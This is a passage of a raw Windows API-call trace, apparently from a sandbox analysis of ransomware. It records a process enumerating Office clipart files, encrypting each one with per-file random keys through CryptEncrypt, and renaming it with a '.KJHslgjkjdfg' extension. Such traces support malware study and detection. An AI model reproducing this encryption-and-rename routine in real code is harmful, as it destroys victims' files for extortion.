returned 0x2a0000 [0181.491] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.491] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf.kjhslgjkjdfg")) returned 1 [0181.492] CloseHandle (hObject=0x114) returned 1 [0181.492] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7da6a400, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7da6a400, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x3854, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0281632.WMF", cAlternateFileName="")) returned 1 [0181.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.493] GetProcessHeap () returned 0x2a0000 [0181.493] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.493] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.493] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.493] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0181.575] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.575] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.575] GetProcessHeap () returned 0x2a0000 [0181.575] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.575] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.575] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.575] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.575] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.575] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.575] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.575] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.575] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.575] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.576] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.576] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.576] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3854, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3854, lpOverlapped=0x0) returned 1 [0181.577] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3860, dwBufLen=0x3860 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3860) returned 1 [0181.577] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.577] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3860, lpOverlapped=0x0) returned 1 [0181.577] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.577] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.577] SetEndOfFile (hFile=0x114) returned 1 [0181.579] GetProcessHeap () returned 0x2a0000 [0181.579] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.579] GetProcessHeap () returned 0x2a0000 [0181.579] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.579] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf.kjhslgjkjdfg")) returned 1 [0181.581] CloseHandle (hObject=0x114) returned 1 [0181.581] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87300c00, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87300c00, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x2e88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0281638.WMF", cAlternateFileName="")) returned 1 [0181.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.582] GetProcessHeap () returned 0x2a0000 [0181.582] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.582] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.582] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.582] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.599] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.599] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.599] GetProcessHeap () returned 0x2a0000 [0181.599] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.599] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.599] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.599] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.600] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.600] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.600] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.600] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.600] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.600] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.600] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.600] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.600] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2e88, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2e88, lpOverlapped=0x0) returned 1 [0181.601] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2e90, dwBufLen=0x2e90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2e90) returned 1 [0181.601] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.601] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2e90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2e90, lpOverlapped=0x0) returned 1 [0181.601] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.601] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.601] SetEndOfFile (hFile=0x114) returned 1 [0181.603] GetProcessHeap () returned 0x2a0000 [0181.604] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.604] GetProcessHeap () returned 0x2a0000 [0181.604] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.604] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf.kjhslgjkjdfg")) returned 1 [0181.605] CloseHandle (hObject=0x114) returned 1 [0181.605] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88613900, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88613900, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x30f2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0281640.WMF", cAlternateFileName="")) returned 1 [0181.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.606] GetProcessHeap () returned 0x2a0000 [0181.606] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.606] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.606] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.606] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0181.608] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.608] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.608] GetProcessHeap () returned 0x2a0000 [0181.608] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.608] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.608] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.608] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.608] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.608] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.608] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.609] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.609] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.609] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.609] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.609] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.609] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x30f2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x30f2, lpOverlapped=0x0) returned 1 [0181.610] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3100, dwBufLen=0x3100 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3100) returned 1 [0181.610] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.610] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3100, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3100, lpOverlapped=0x0) returned 1 [0181.610] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.610] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x31d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.610] SetEndOfFile (hFile=0x114) returned 1 [0181.612] GetProcessHeap () returned 0x2a0000 [0181.612] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.612] GetProcessHeap () returned 0x2a0000 [0181.612] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.613] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf.kjhslgjkjdfg")) returned 1 [0181.614] CloseHandle (hObject=0x114) returned 1 [0181.614] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba8f5800, ftCreationTime.dwHighDateTime=0x1beecd8, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba8f5800, ftLastWriteTime.dwHighDateTime=0x1beecd8, nFileSizeHigh=0x0, nFileSizeLow=0x3c9e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0282126.WMF", cAlternateFileName="")) returned 1 [0181.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.615] GetProcessHeap () returned 0x2a0000 [0181.615] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.615] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.615] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.615] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0181.617] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.617] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.617] GetProcessHeap () returned 0x2a0000 [0181.617] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.617] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.617] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.617] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.617] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.617] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.617] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.618] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.618] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.618] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.618] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.618] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.618] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3c9e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3c9e, lpOverlapped=0x0) returned 1 [0181.619] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3ca0, dwBufLen=0x3ca0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3ca0) returned 1 [0181.619] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.619] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3ca0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3ca0, lpOverlapped=0x0) returned 1 [0181.619] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.619] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3d74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.619] SetEndOfFile (hFile=0x114) returned 1 [0181.622] GetProcessHeap () returned 0x2a0000 [0181.622] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.622] GetProcessHeap () returned 0x2a0000 [0181.622] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.622] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf.kjhslgjkjdfg")) returned 1 [0181.628] CloseHandle (hObject=0x114) returned 1 [0181.628] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8166, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0282928.WMF", cAlternateFileName="")) returned 1 [0181.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.629] GetProcessHeap () returned 